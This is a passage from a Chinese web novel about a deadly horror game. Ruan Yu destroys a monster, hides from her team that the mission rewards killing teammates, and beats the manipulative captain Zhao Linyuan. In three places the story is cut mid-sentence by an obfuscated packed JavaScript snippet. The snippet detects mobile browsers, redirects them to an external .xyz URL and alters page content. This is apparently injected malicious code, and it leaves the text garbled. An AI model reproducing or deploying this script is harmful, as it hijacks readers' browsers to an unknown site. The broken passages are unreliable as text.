阮钰命令陈老虎:“把所有手电筒都绑在一起扔给我。” 陈老虎回了句收到,立刻收集了所有人的手电筒,他把死了的地中海身上的衣服扒了下来,撕成了长条,和罗威一起快速把手电筒用布条绑在了一起。 所有手电筒聚在一起,在黑夜中散发着悠悠的纯洁的白色光芒。 怪物似乎猜到了她要干什么,狭长的诡异瞳孔疯狂地滚动着,哀嚎的声音更加尖锐,阮钰的耳膜被它震得生疼。 “……不要这样!” “……我送你们出去!不要杀我!” 怪花内部传出咕叽咕叽的奇怪响动,阮钰确信她从未听到过这样的未知语言,但怪物发出的每一个声调她都能听懂其中的意思。 她扭头问陈老虎他们:“你们听懂它说什么了吗?” “没听懂啊,就听到叽叽咕咕的,不知道是啥动静。”陈老虎不假思索地摇头,“跟闹肚子放屁似的。” 罗威同样摇头。 阮钰心惊,上一个看懂怪物语言的人已经变异被她杀了,难道她要再步后尘? 不,她不允许自己被感染,更不会接受死亡的结局。 阮钰眼里泛起杀意,死死盯着怪物的三瞳眼球:“你必须死。” “……不是!”怪物的声音变得躁动:“……我没有污染你!你也不会成为‘祭品’!……总之你不会被影响!” 阮钰仍在提着手电筒制作的“灯笼”,用油盐不进的语气冷漠说:“那我怎么能听懂你的话?你一定在影响着我,你想要拖到我被你彻底污染对吧?你必须死。” “……你太过分了!” 怪物气的发出刺耳的嘶叫声,一副即将发狂的样子,阮钰立刻把“灯笼”举到它脸上,嘶叫声立刻变成了滋滋的烤肉声和怪物剧烈的抽搐尖叫。 “求饶要有个求饶的态度。”阮钰面无表情地警告它。 “……好。” 怪物的三只瞳孔剧烈地颤抖着,愤怒、耻辱、恐惧同时交织在它的眼睛里,它怨恨地瞪着阮钰,语气却变得柔和起来: “……你只是想知道怎么离开这里,对吧?” 阮钰不置可否地看着它。 它柔和的声音再次响起,像某种奇妙的呓语,挑拨着阮钰的理智之弦:“……你是个很强大的人,你有足够的能力通关,那些无用的人类只会拖慢你前进的速度……” “……只要杀了他们,你就能成为唯一的通关者……我没有骗你,这是事实,而你也早已知道这个讯息……” “……你不想残害同类,这不是你的错,人类总是如此自私又伪善的……但我可以帮你……只要你放过我,和我合作,我们都能如愿以偿……” 它的声音宛如来自亿万年前的古老深海的召唤,每一句话都带着无法形容的魔力,阮钰冰冷坚硬的内心似乎被撬开了一个角,冷漠的眼神也慢慢柔和下来,望着怪物的三只瞳孔,不自觉地呢喃低语: “杀了他们,就能通关吗?” “我为什么要相信你?没有他们的帮助,我没有把握能活着离开这栋楼……你在骗我吗?” “……不,我说的都是实话……”它纠正,“……我为什么要骗你呢?你是我选中的合作者,我欣赏并珍惜你的强大和敏锐,所以我会让你活着……何况我并没有把握能杀掉你。” “……事实上,离开这栋建筑也只有两个办法,要么杀了你的所有同族,要么便走上最顶层,消灭一切的源头……我只是为你指引了最简单的道路……” 阮钰目光已经变得有些呆滞了,她的瞳孔涣散,失去焦点,嘴角扯起瘆人的微笑,礼貌地询问着怪物:“一切的源头……那是什么?” 地面上的几人始终在关注着上方的情况,见到阮钰已经被怪物迷惑并失去神智后,纷纷露出了焦急和恐惧的表情。 魏柏图和陈老虎急忙大喊她的名字,试图把她从怪物的控制里唤醒,可他们唤醒的不是阮钰,而是对他们极度不耐烦的恐怖怪物。 怪物嘴里再次发出刺耳的尖啸声,几人痛苦地大喊着,但他们不敢停下手里的动作,只能用一只手捂着耳朵,另一只手依旧不停地继续击打玻璃,始终保证有噪音干扰怪花,免得阮钰被怪物当场吞下去,同时还要尝试唤醒阮钰的神智。 另一只未做防护的耳膜被怪物的凄厉叫声击穿,顺着耳道流下了鲜红的血。 罗威一边忍受着怪物的声音攻击,一边再次拔枪,枪口对准了阮钰的脑袋。 只要阮钰表现出半点被怪物同化的攻击行为,子弹就会击穿她的大脑。 尽管有些不忍心,但他只能这么做。 怪物无视其他人,对阮钰温柔的说:“……万物之源是无法触碰的禁忌,那太难了,我不希望你冒犯‘祂’……即使你能跳过偶数楼层的无用障碍,也无法战胜奇数楼层的那些更恐怖的‘神’……” “……孩子,何必让自己那么辛苦呢?不如重回‘祂’的怀抱吧,‘祂’始终注视着你,保护着你,‘祂’是你的最后归宿……孩子……” 怪物发出了犹如母亲般慈和的声音,当阮钰的表情变得顺从,并盲目地点着头时,它的三只瞳孔分别迸发着不同的得逞、骄傲、和大仇得报的异样色彩。 它早已发现,在这些愚蠢的人类中,面前的女人是最值得它忌惮的存在……她太敏锐了,它自信于自己的弱点不会被轻易发现,也做了极好的隐藏,可这个女人却总能抓住那只有零点几秒的异常…… 甚至她还很大胆,别的人类迫切的想要挣脱束缚,她却不顾安危,执意看清它的真实模样,误打误撞的发现了它的致命弱点……她太可怕了。 但也到此为止了。 只要控制了她,其他的人类都只是案板之鱼,它跃跃欲试地期待着这些人类被他们所信任、依靠的队友背叛,期待着看到人类自相残杀的场景。 那一定很精彩。 这是它献祭“真神”的混乱,相信“真神”一定会满意的。 它得意地尖笑着。 阮钰也笑了。 她失焦的眼神重新聚拢神采,面带微笑地注视着怪物丑陋的面孔:“好的,我知道了,谢谢你提供的珍贵线索。” “天黑了,你该睡觉了,祝你好梦。” 怪物眼里的色彩停滞,它不可置信地对上阮钰的目光,发出惊恐的刺耳尖啸:“……这怎么可能!你到底是什么东西!你如此地靠近我,怎么能不受影响?……这不可能!不可能!” 可是阮钰没给它任何质疑的机会,由七根手电筒组成的灯笼被她甩进了怪物嘴里,纯洁的白色光芒瞬间充斥着怪花里狭小的黑暗空间,怪物如同置身于最恐怖的炼狱中,尖叫着四处躲避,甚至用细长的四肢死死扒着白色利齿,想从怪花的嘴里爬出来。 但它的速度还是太慢了,手电筒的光芒充满狭小的空间,让它无所遁形,被纯洁光芒照射的躯体在快速融化,只过去了短短的十几秒钟,丑陋的怪物彻底失去了生命迹象,融化的身躯顺着怪花的旋涡状牙齿嘀嗒嘀嗒地砸在地板上,聚拢成一滩恶臭的黑色脓液。 随着怪物本体死亡,怪花失去了力量来源。它以肉眼可见的速度迅速的衰败着,花瓣掉落、根茎枯萎、同样变成了一滩五颜六色的粘稠液体。 被吊在空中的阮钰随着怪花消失而瞬间失重,在她下方的陈老虎急忙往前跑了几步,伸着手臂想要接住她,却见阮钰的身体灵巧地在空中转了半圈,双脚稳稳地踩着他的肩,随后轻巧地跳到地面。 “……我嘞个去!” 陈老虎看的一愣一愣的,“老妹儿你是特技演员?身手咋这么牛逼呢?” 阮钰解开腰上的外套,拔出匕首,“不是,我是剧组的武术指导。” 陈老虎恍然。 魏柏图几人见阮钰下来,纷纷停下敲玻璃的动作,踩着满地的玻璃碴子跑过来。 “钰姐!你没事吧?我看你刚才好像都被怪物感染了,”魏柏图急忙问她,“是我们把你叫醒的吗?” 阮钰回答:“不是,我根本没被它影响,这个怪物的精神控制能力很弱,只是短暂的让我恍惚了一下……罗威,把你的枪放下。” 罗威的枪口依然对准着她的脑袋,“抱歉,我有点不相信你,万一你已经被感染了呢?我不能拿大家的性命开玩笑。” 阮钰无语:“我要是被感染,要做的第一件事就是把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449228|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你宰了,我不喜欢太聪明的人。” 听她这么说,罗威才放心地收回枪,笑着说:“行吧,相信你了。对了,怪物到底和你说了什么?” 阮钰没有立刻回答,她定定地看着自己面前的空气,游戏弹出了她的任务进度。 【新手任务:在邪神时间结束前,清除十个邪神信徒。】 【任务地点:里斯曼大学。】 【小队代号:敬神者。】 【当前进度:2/10】 “你们的游戏进度有变化吗?” 她突然发问。 几人查看后纷纷摇头:“没有,都是零。” 只有她的进度上涨了。 她快速回忆着怪物和她说的话,它试图蛊惑她杀害队友……不,应该不是蛊惑,因为它说了通关有两种办法,要么杀了其他人,要么就是到达顶层…… 她再次想起了陈老虎转述的赵临渊对他说的话。 赵临渊让每个小队的队长想办法杀了他们的所有队友,他说这场游戏只能有四个人通关,再加上怪物提供的通关办法…… 还有她上涨的任务进度…… 一个恐怖的猜想浮现在脑海中。 赵临渊说的是实话,【邪神信徒】指的并不是怪物,而是进入这栋建筑的所有人类。 也就是……【敬神者】小队的所有队员。 任务的真实意图是让玩家们自相残杀。 一共四十个人,自相残杀后最多只能有三个人完成任务进度。 可赵临渊为什么说有四个名额呢? 难道他想要先用一个假消息,让各个队长们先解决自己的队员,然后再让他们自相残杀,直到仅剩三个人为止? 那他自己呢?他需不需要通关名额?他难道就不担心黑吃黑? 还是说,他的权限足以保证他安然存活,或者他还谋算着什么不为人知的阴谋诡计? 阮钰揉了下太阳穴。 任务比她想象得更复杂。 她看了眼周围的几个队友,他们或许最开始各怀心思,但刚刚的战斗是个粘合剂,把陌生的几个人聚成了真正的团队,他们已经把彼此当做了可以交付后背的战友。此刻,他们的目光是真诚的,他们在毫无保留的信任她……或者说,他们只能信任他。 阮钰觉得她像个精神分裂患者,理智告诉她,她此刻应该心软,应该信任这些并肩战斗的队友。魏柏图为了唤醒她,忍着疼痛爬到她身边。两个和她素未谋面的玩家为了避免她被怪物吞食,宁可冒着聋了一只耳朵的风险,也要为她创造和怪物周旋的机会。 罗威为了自救,也为了救她,拿出了他本该一直藏着的热武器。陈老虎更是在直面怪物尖啸时寸步不离,想要用双臂接住可能掉落的她。 他们不畏危险的救她,她应该被感动才对。 但她没有。 她的内心毫无波动,冷静的思考着各种可能出现的结局,最终选择了再次隐瞒。 “怪物跟我说,【邪神信徒】不存在,赵临渊骗了我们,游戏也骗了我们,唯一的出口在五楼。” 她脸不红心不跳地说着半真半假的话:“它还给我指了一条最快通关的办法,那就是跳过四楼,因为四楼的怪物只是为了阻碍我们的进度,作用不大,只有三楼的怪物才是完成任务的关键线索。” “难怪我们的任务进度没有上涨……”罗威沉思,复杂的眼神盯着阮钰,他似乎猜到了什么,却还是顺着她的话愚弄其他队员:“阮钰是唯一一个面对了怪物的人,她得到的线索很宝贵,并且为我们省去了很多时间。” 见他都这么说了,其他人立刻打消了怀疑,重新规划起后面的行动。 如果跳过所有的偶数楼层,那他们只需要进入三楼和五楼,现在的时间是两点十二分,距离天亮至少还剩两个多小时的时间,均摊下来每层楼能停留的时间足有一个多小时。 陈老虎拿出老大哥的气势,从那滩恶心的液体中捡回了手电筒,手电筒没损坏,只是有点脏,用社会青年尸体的衣服擦干净后分给了其他人。 他还总结了每个人擅长的属性,确定了接下来面对战斗时每个人要站的为主,力求发挥出所有人的作用。 有人提议把衣服撕成小布条,制作成简易耳塞,免得遇到声波攻击时只能站着等死。 在大家规划行动时,罗威拿出手机,敲下了一行字,递到了阮钰面前。 屏幕上只有短短的一行字。 “你的任务进度和我们不一样。” 阮钰抬头望着他。 罗威拿回手机,自信又快速地再次敲下一行字: “我大胆的猜一下,你的任务进度涨了2点,对吗?” 12. 特殊通道 阮钰挑了下眉,罗威的猜测和事实完全契合。 他已经推测出了真相和线索,他看穿了她的隐瞒,并愿意配合她愚弄其他人。这是他表达出的诚意。 只要她如实说出线索,回应了他的诚意,他们就能成为最牢不可破的盟友。 但她从来都不是乖乖听话的三好市民。 “谈合作之前,先给我点真正的好处。”她静静地敲下一行字,“凭几句话就想空手套白狼吗?” 罗威顿住,然后笑了出来。 “好吧,你说的对。”他在屏幕上敲击,“先做个自我介绍,我是代表官方调查污染源线索、收集关于【神裔游戏】玩法模式的探索者罗威。” “我身上一共带了两把枪,如果你愿意与我达成合作,我会分你一把热武器,并给出一个在我权限之内能生效的承诺。” 阮钰挑眉:“承诺?” 罗威说:“是的,比如将你的家人接到庇护所啊,或者是借助官方力量找人啊什么的。” 罗威确实很舍得,热武器的好处显而易见,她有些心动。 她又想到了自己下落不明的母亲。如果不是这个游戏阻拦了她的计划,她现在应该已经坐上了前往春城的高铁。 “成交。” 罗威笑了笑,从后腰又掏出了一把枪,在黑暗的遮掩下悄无声息地放到了阮钰手里:“紧凑型半自动,只有十发子弹,没有备弹,慎用。” 冰凉枪械在手里传来了陌生的触感,和电视上看到的道具不同,这把手枪居然出乎意料的小巧便携,几乎和智能手机的大小相等,她把枪别在后腰上,用外套遮掩。 罗威没有问她会不会给枪械上膛之类的专业性问题,他只是表示出了自己的诚意。如果她主动询问,他会教她,否则他绝不会多事。 对方的诚意够足。 阮钰把她知道的信息敲在屏幕上:“和你的猜测一样。” 罗威“嘶”了一声:“这就难办了……” 他明白阮钰隐瞒“邪神信徒即是游戏玩家”这条信息的目的—— 团队才刚刚建立,大家的热情和斗志都尚在巅峰,此时的小队虽牢不可破,却也岌岌可危。 一旦大家知道只要杀了队友,就能当场通关,不必在这栋建筑里提心吊胆地应付感染者,那谁还愿意冒险? 在没到最差的结果之前,她并不想背叛自己的“人性”,做出同类残杀的行为,同样也不想看到别人做出这样的行为。 罗威和她有着同样的想法。 “那你打算怎么做?”他询问道。 “走一步看一步吧。”她本想糊弄过去,但转瞬想到了卫曦,思考后又敲击着屏幕,“你记得卫曦吗?” 罗威诚实地摇头。 阮钰说:“我在前往里斯曼大学的路上遇到过她,她当着我的面变成了嘴巴和眼睛里都有触手的怪物。” “我抢了她的车,但她居然复制了一模一样的车也到达了这里……我觉得她不是普通的感染者。” 罗威看着屏幕上的文字,震惊地吸了一口凉气:“你连感染者的车都敢抢?不怕死吗?” 阮钰无语。 这是重点吗? “好吧好吧……你说的信息确实很有价值,但你为什么不告诉其他人呢?”罗威表示不理解,“只要你说出口,大家一定会把她驱逐出小队的。没人愿意冒险留下一个疑似感染者的队友。” 阮钰说:“我有试过开口,但她似乎能控制声音,没人听得见我说什么。” 现在她确认了,卫曦并不是无所不能的,至少她现在阻止不了她用打字的方式把信息传递给罗威。 罗威凝重点头,在他的笔记本上郑重记下新的信息。 楼梯口,陈老虎一惊一乍地喊道:“赵临渊联系我了!” 罗威问:“他说什么?” 陈老虎说:“他说我干的不错,还问我是用什么办法通过的第二层,他说咱们是进度最快的小组。” 短短一句话,透露出的信息却不少。 赵临渊夸陈老虎“干得不错”,应该指的是地中海和社会青年的死,他能知道队员的生死,也能知道大家的任务进度,这说明队员在他面前是透明的,绝没有谎报信息的可能。 田野提议:“就说咱们合作的好呗。” “等等,”罗威说,“先试探一下。” “陈老虎,你跟他抱怨说怪物太多,再说这些队友都太谨慎,你找不到下手的时机,看看他会怎么回答。” 陈老虎立马按照他说的做。 …… 楼下。 赵临渊点开陈老虎的私信。 【别提了,这他妈的也太难了吧?好几十只怪,还他妈有只大玩意,菜刀都砍坏了。】 【队里这些人也难整,我根本找不到下手的时机。而且有几个人脑子挺好使的,我怕杀了他们之后我困在楼里下不去。队长,你给我支个招呗。】 他皱眉,暗骂了句没脑子的蠢货。 【危险是通关要付出的必要代价,我无法为你提供帮助,祝平安。】 【不必担心,当其他人全部死亡后,我会为你开启能回到一楼的特殊通道。】 他点开只有队长才能看到的特殊页面。 陈老虎小队通关的速度太快了,他不得不重视。 尤其看到队内成员只少了最没用的两个人时,他的表情变得凝重起来。 他又点开了其他的三个小队。 一个小队已经死了五个人,剩下的五个人还在苦苦挣扎,看着活不了太久。 一个小队只剩三人,倒是有了通关的苗头,但存活人数太少,预测最多只能活到第三层。 最后的小队存活人数是六,但队长因为太蠢而暴露了马脚,被队员们集体“处决”了。 发现蹊跷的是一位A级的女律师,名字叫季胜男,职业赋予了她极强的记忆力和分析能力,她善于从只言片语推测出对方的真实意图,是个会行走的测谎仪。 那个蠢笨的队长在她面前只活了短短的一个小时,然后就被逼问出了真相,惨遭“处决”。 赵临渊确信季胜男已发现了真正的通关之法。 但这不重要,他早就猜到了现在的局面,并由衷认为这是一件好事。 相比于这三支小队,陈老虎的小队实在是显得太反常了。 只有两个成员死亡,另两个成员暂时离队,其他人看起来不仅没发生矛盾,甚至合作杀死了一只“二阶感染者”…… 他能预料到,这支队伍会磨合得越发默契,或许他们会通关所有楼层……他不知道那只“二阶感染者”有没有透露什么关键信息。 不,应该不会。 【里斯曼大学】是他亲手选择的S级关卡,也是全球最难的新手关,通关的办法只有两个。 如果这个小队不自相残杀,那他们最终的结局只会是死在通关的路上。他不相信有人能活着走到S级boss面前。 尤其那个小队里还有着一个被“祂”选中的、比其他人更容易引来感染者仇视的“预备役使者”。 他们做不到的。 突然,陈老虎小队的死亡人数从2变成了3。 他来了精神,仔细翻找。 几乎所有人的任务进度都是0。 异常的只有两个人。 阮钰任务进度:2/10 夏茵任务进度:1/10 夏茵是谁? …… 三楼。 根据赵临渊的回答,阮钰和罗威推断出了一个隐藏真相。 赵临渊对关卡具有一定的控制权,【队长】这个身份在游戏内的权利比他们想象的大太多了。 他掌控着“特殊通道”,意味着在大家面临危险时,他可以随时开启逃生通道,保证最高的存活率。 可他却让大家走上了一条自相残杀的不归路,眼睁睁看着大家死在怪物和队友的手里。 “他奶奶的……所以他是存心想看着咱们自相残杀?”陈老虎气的爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449229|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了粗口,“亏他长得人模狗样的,一肚子坏水儿!等老子回到一楼,指定打死他!” 魏柏图愤愤道:“他这么做有什么意义啊?我们是一个小队,我们活着到底怎么碍他的眼了?我真是理解不了。” 田野和卢远也同时表示出愤怒。 大家不是接受不了队长有特殊权限,但他千不该万不该,不该拿所有人的性命开玩笑。 要不是陈老虎人品不错,愿意主动交代真相,他们根本想象不到自己要一边面对那些随时会取人性命的感染者,还要一边提防来自队友的冷刀子,死的会有多快。 罗威脸色阴沉,看了眼阮钰:“你的看法呢?” 阮钰哼笑:“我准备打他一顿。” “老妹儿太性情了!”陈老虎竖起大拇指,“不过你这样是不是有点冒险啊,万一他怀疑咱们呢?” 阮钰没回答他,抬头望向楼梯口的位置。 在怪花化成脓水的时候,消失的楼梯再次凭空出现,木制的雕花楼梯静静伫立,好似从未消失过,一切都是大家的集体错觉。 她又走到栏杆处,用来封闭二层的特殊空间限制似乎消失了,她再次看到了那盏巨大的露营灯,以及在露营灯下老神在在的赵临渊。 赵临渊感觉到了她的目光,抬头,二人猝不及防的来了个四目相对,他短暂地怔愣了一下,一秒钟后快速调整好表情,露出和善的笑容,用口型说:“恭喜。” 阮钰淡笑,捡起被社会青年丢弃的窥神眼镜,她握着楼梯栅栏,在赵临渊的注视下跃过栏杆,并轻巧地跳到了他面前。 赵临渊重新挂上微笑,友善提醒:“你可以走楼梯的,已通关的楼层将不受限制,可以自由上下。” “我知道。”阮钰笑了笑,抬起右脚,朝着他的胸口狠狠地踹了一脚。 赵临渊双脚悬空,重重地摔出三四米远,干净的西装在地砖上摩擦,胸口的滞痛让他眼前一黑。 他咬牙,胳膊撑着身体,挣扎着想站起来。阮钰没给他开口的机会,快步走到他面前,抬起右拳,重重打在他的太阳穴上。 嘭! 窥神眼镜立刻碎裂,赵临渊感觉耳膜好像已经破了,什么声音都听不见,理智在快速消失,他能清楚地感觉到生命在不受控制的流逝。 他即将彻底死亡,并已经陷入了短暂昏迷。 在他走到死亡边缘时,一股不可言说的力量突兀的笼罩住他的身体,那股力量修复着他的伤势,唤醒了他的理智,把他从死亡边缘生生的拉了回来。 他痛苦地捂着被打中的地方,温热的鲜血和碎裂的镜片糊了满手。 “为什么?”他逼迫自己睁开眼睛,和善的面具彻底碎裂,阴鸷怨毒的双眼迸发着强烈杀意:“我没有招惹你吧?” 阮钰默不作声地看着他的反应。 “你的秘密有很多,看来杀你并不是一件容易的事。”她攥住他的衣领,平淡开口,“我讨厌被人当傻子玩弄,偏偏我这人性格很差,心里不爽就想打人,你会原谅我的,对吧?‘亲爱的队长’。” 她摘下他破碎的眼镜,看到了这位队长的真容。 “我似乎见过你。”阮钰思考,“本市最年轻的企业家,万物生态公司的老板。但你之前不叫赵临渊,这是你的真名吗?还是你的化名?算了,不重要。” 赵临渊被气笑了:“阮钰,你这叫胡搅蛮缠,蛮不讲理。” “你这么理解也可以。”阮钰松开他的衣领,把带下来的窥神眼镜扔到他身上:“我很遗憾,所谓的青年才俊,竟然是个玩弄人命的垃圾货色。” “阮钰,”赵临渊似乎被激怒了,他的语气过于平静,像大雨将至前的湖面,“身为玩家,在游戏里得罪我,并不是明智的选择。尤其是你,一个已经灾祸满身的可怜虫。” “但我想知道,你到底是如何推断出我在玩弄人命的?请给我一个理由。” 说完。 他的目光锁定到二楼看戏的陈老虎身上。 陈老虎身体一颤。 13. 伥鬼庇护 陈老虎紧张得额头冒汗,张嘴想解释两句,被罗威暗暗掐了一把。 “什么都不用说,你就当什么都不知道。” 罗威藏在黑暗中,低声提醒他。 “我本来就啥也不知道啊。”陈老虎表示无辜,干脆不解释了。 阮钰不慌不忙地揉着手腕,嘲笑赵临渊的疑心病:“你在怀疑陈老虎?” 赵临渊忍着怒气:“不应该吗?” “啧,”她只觉得好笑,“那种藏不住事的傻大个,就算真背叛了你,又有什么奇怪的?” 她没有直接洗清陈老虎的嫌疑。 无脑否认只会引起更深的猜忌,最有效的办法就是让他自己为事情找出合适的解释。 人不会相信同类,但一定会相信自己思考出的事实,哪怕那个事实再无厘头,也比其他人透露出的信息要可信的多。 赵临渊扶着地面站起身,从口袋里拿出丝质手帕擦拭脸上的血液,借着手帕的遮掩,他的大脑顺着阮钰的话飞速运转。 他不是傻子,阮钰也不是傻子。 她的话有两层意思。 一,她确实是从陈老虎身上得到的信息。 二,陈老虎应该没背叛他。 唯一的解释是,陈老虎实在太蠢了,他和那个被处决的队长一样暴露了马脚,被阮钰推测出了真相。 阮钰愤怒于他的隐瞒和谋算,认为他玩弄无辜者的性命,跳下来给了他一拳。 他承认阮钰猜的很准确,哪怕陈老虎真的背叛了他,他也不会愤怒。他本来就没指望这些陌生人对他有多高的忠诚度,背叛与否都在他的计划之中。 甚至如果阮钰只是通过暴力来发解怨气,他也不会真正动怒。 让他生气的是阮钰未曾掩盖的杀心。 她是真的想杀了他,并付诸了行动,甚至差一点就得手了。 如果没有【伥鬼的庇护】,他现在已经是一具冰冷的尸体了! 被人威胁性命的感觉,让他内心翻涌着怒火和杀意,恨不得现在立刻马上就杀了这个女人! 但在他杀心出现的瞬间,游戏页面突然凭空出现,一行巨大的、血红色的加粗隶书触目惊心地浮在他眼前: 【检测到你对“预备役使者”产生攻击倾向。】 【请清晰认知你的身份!】 【如果拒不改正,‘神罚’即将降临!】 该死!该死!该死! 赵临渊被系统气得浑身发抖。 “……好。”他逼迫自己压着怒火,努力对阮钰挤出笑容,“对不起,但我也有苦衷,队长也有自己的任务,希望你能理解。” 阮钰面无表情地盯着他:“理解不了。如果再有下次的话,你有几条命我就杀你几次,我不信你能一直复活。” 赵临渊被她气得心梗。 他发现这个女人真的很张狂、很会激怒他。 她明明不知道她的身份,也不知道游戏内的“阶级”情况,但她却无所畏惧地挑衅着他。 她难道不怕死吗?! “好的,阮钰,我觉得我们不至于闹得这么难看。”赵临渊深呼吸,“我明白你的愤怒,实际上我也并没有想伤害你的意思,只是游戏玩法是这样,我也没办法。” 他表现得十分真诚:“这样吧,我也为你开通一份特殊权限,当你遇到难题时可以通过私信向我求助。” 此时此刻,他还在欺骗阮钰,他以为阮钰只是不想让大家自相残杀,所以才会生气发怒,正义感爆炸的人都是这样。 他坚信阮钰还不知道特殊通道的存在,也存了试探陈老虎是否背叛的心思。 阮钰轻笑着,用手拍了拍他的脸颊,力道不轻不重,却能听到清晰的耳光声。 二人的距离被拉近,几乎能感受到对方的呼吸打在皮肤上的热气,“只是和你聊天吗?抱歉,不感兴趣。” “我要的是能联系到全队成员的权限,‘亲爱的队长’。” 她的动作充满了居高临下的羞辱意味。 耻辱的感觉让赵临渊再次起了杀心,也再次看到了血红色的游戏提醒。 “……这不行。”他咬牙切齿地拒绝,疯狂压制内心沸腾的杀意,半张脸因愤怒而扭曲,“这是独属于队长的权限,我不能……噗!” 他拒绝的话还没说完,阮钰又一拳打了过来,他的下巴遭受重击,牙齿崩裂了几颗,鼻血如注,整个人倒仰着倒在地上,后脑勺“砰”的重重着地。 他再次感受到了死亡的降临,也再次感受到那股神秘的力量,由死转生。 “你以为我在和你商量吗?”阮钰背着手,居高临下地俯视他狼狈的姿态,“做不到就别画饼,做得到就别在这演戏。” “我要是没估计错的话,刚刚你昏迷了三秒钟就复活了,这次你昏迷了整整七秒,下一次呢?下下次呢?” “别浪费我的时间。” 赵临渊眼神颤动,怒不可遏地攥紧拳头,发自内心的想把这个女人碎尸万段! 但她的武力值太高了,哪怕没有游戏限制,他也绝不是她的对手。 她也太敏锐了,居然能找到【伥鬼的庇护】的弱点。 虽然他能无限制复活,但每次死亡遭受的痛苦却是真实存在的! “……好!”他怒极反笑,从牙齿里迸出几个字:“不就是权限吗?我给!” 他愤怒地点开队长页面,在【私聊权限】中加入了阮钰的名字。 【队长赵临渊为您开通了私聊权限。】 “我已经……草!” 赵临渊还想放两句狠话,可阮钰却立刻转身,头也不回地踏上了楼梯,气得他骂出脏话。 他烦躁地扯着领带,脖子上因愤怒而爆起青筋。威严被挑衅,生命被威胁,甚至连队长的权柄都被染指…… “好!阮钰,你很好!” 他拼命压着他的杀心,在阮钰他们进入三楼时,立刻点开一个特殊的页面,在阮钰的名字后,狠狠加上了“追杀”两个字! 队长的权限之一,【追杀】:可定向为某位队员提高关卡厌恶值,该队员接下来面对的怪物将全部陷入狂暴状态,此buff持续到本场游戏结束,或该队员死亡。 【追杀】每场游戏只能使用一次,通常用来清除某些不听话的刺头。 赵临渊本来没想这么快就用【追杀】的,可阮钰实在是欺人太甚! 虽然游戏限制着他不能进行报复,但【追杀】是队长游戏内的合理权限,并没有使用限制,哪怕阮钰真死在游戏里,那也与他无关。 “阮钰,你必须死!” …… 楼上。 阮钰刚上楼,就得到了队友们的崇拜和夸奖。 陈老虎竖起大拇指:“太解气了!老妹儿牛逼!” 魏柏图欢呼:“钰姐牛逼!打得他屁都不敢放一个!” 田野和卢远表示不理解:“赵临渊为啥都不生气啊?我以为他得打回来呢。” 阮钰也在想这个问题。 她能感觉到,赵临渊确实是愤怒的,没人对待想杀了自己的人还能保持微笑,可他又确实没动手。 甚至对于她后来接二连三的挑衅行为,他都只是泄露了情绪,没有半点报复回来的动作…… “我觉得,他似乎被某条规则限制住了。”阮钰认真推测,“他不是不想动手,是不能动手。” “附议,但他不是什么好人,即使不能直接报仇,也一定会在别的地方使绊子,你一定要小心。”罗威赞成点头,并给出忠告。 阮钰点头,想到罗威本子上的内容,“对了,我看你对赵临渊的评价是‘伥鬼’,方便说一下是什么意思吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449230|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗威笑了笑:“没什么不方便的。你们应该都听说过一个成语,为虎作伥吧?” 众人齐刷刷点头。 罗威说:“在古代小说里,被老虎吃掉的人的灵魂永远得不到解脱,这些死者会成为被老虎控制的奴仆,诱骗更多的人类成为老虎的口中食。这种鬼怪就叫伥鬼。” “赵临渊是游戏的‘伥鬼’,在游戏开启前,他遭受过某种生死绝境,已经丧命成了感染者,但因为某些特殊的原因,他的灵魂被游戏召回,作为代价,他将以‘伥鬼’的身份替游戏卖命。” “你们以为队长是随机选出来的吗?其实游戏选择的每个队长都是它的‘伥鬼’。” 罗威解释得通俗易懂,几人了然点头。 他继续说:“这个消息我是从科研所的同事那里知道的,信息来源我不清楚,但消息保真。” 魏柏图举手:“这么说的话,赵临渊岂不是有很多权限?游戏是不是会特殊照顾他?那我们怎么玩的过他啊!” 阮钰垂眸沉思。 魏柏图说的是有道理的,游戏确实对赵临渊进行了“特殊照顾”,比如不死之身之类的。 她的每一次攻击都用了全部力气,人类不可能活的下来,她确信赵临渊确实有几秒钟已经失去了生命体征,但他却又活了过来,甚至复活了两次……很难说这不是他受到的某种庇护。 “老妹儿,我发现你真是个高手。”陈老虎摸着下巴,煞有介事地分析:“你好像猜到了赵临渊的想法,根本不怕他怀疑我是内奸。你还主动跟他打架,试探出了这么多珍贵的信息。这都是你的计划吗?老妹儿?” 魏柏图恍然:“我去,还真是!钰姐你太牛逼辣!” 罗威赞许地连连点头,满眼都是对自己盟友的欣赏和宽慰。 “不,你们误会了。”阮钰面无表情地解释,“我只是看他不爽。” 师父她老人家说过,习武不止为强身健体,也为了能平等地用物理手段创死所有傻逼。 她深以为然,并坚定执行。 